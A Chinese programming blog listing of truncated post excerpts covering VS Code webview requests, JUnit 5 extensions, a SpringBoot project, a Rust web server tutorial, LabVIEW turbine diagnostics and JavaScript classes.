在webview中是无法发送跨域请求的,可以通过消息机制,在插件中发请求,然后将请求结果传递给webview 我的代码是基于vscode-webview-ui-toolkit-samples-vue来写的 webview vue组件中的代码示例 async function initData() {// 向插件发送消…...
junit5定制点
一、JUnit 5 自定义定制点是什么? JUnit 5 提供了强大的扩展模型(Extension Model),允许开发者通过实现特定接口(如 BeforeEachCallback、ParameterResolver)自定义测试行为。这些接口称为定制点ÿ…...
基于SpringBoot的信息技术知识赛系统的设计与实现(源码+SQL脚本+LW+部署讲解等)
专注于大学生项目实战开发,讲解,毕业答疑辅导,欢迎高校老师/同行前辈交流合作✌。 技术范围:SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容:…...
【Rust自学】20.1. 最后的项目:单线程Web服务器
喜欢的话别忘了点赞、收藏加关注哦(加关注即可阅读全文),对接下来的教程有兴趣的可以关注专栏。谢谢喵!(・ω・) 20.1.1. 什么是TCP和HTTP Web 服务器涉及的两个主要协议是超文本传输协议(Hypertext T…...
LabVIEW涡轮诊断系统
一、项目背景与行业痛点 涡轮机械是发电厂、航空发动机、石油化工等领域的核心动力设备,其运行状态直接关系到生产安全与经济效益。据统计,涡轮故障导致的非计划停机可造成每小时数十万元的经济损失,且突发故障可能引发严重安全事故。传统人…...
想品客老师的第十天:类
类是一个优化js面向对象的工具 类的声明 //1、class User{}console.log(typeof User)//function//2、let Hdclass{}//其实跟1差不多class Stu{show(){}//注意这里不用加逗号,对象才加逗号get(){console.log(后盾人)}}let hdnew Stu()hd.get()//后盾人 类的原理 类…...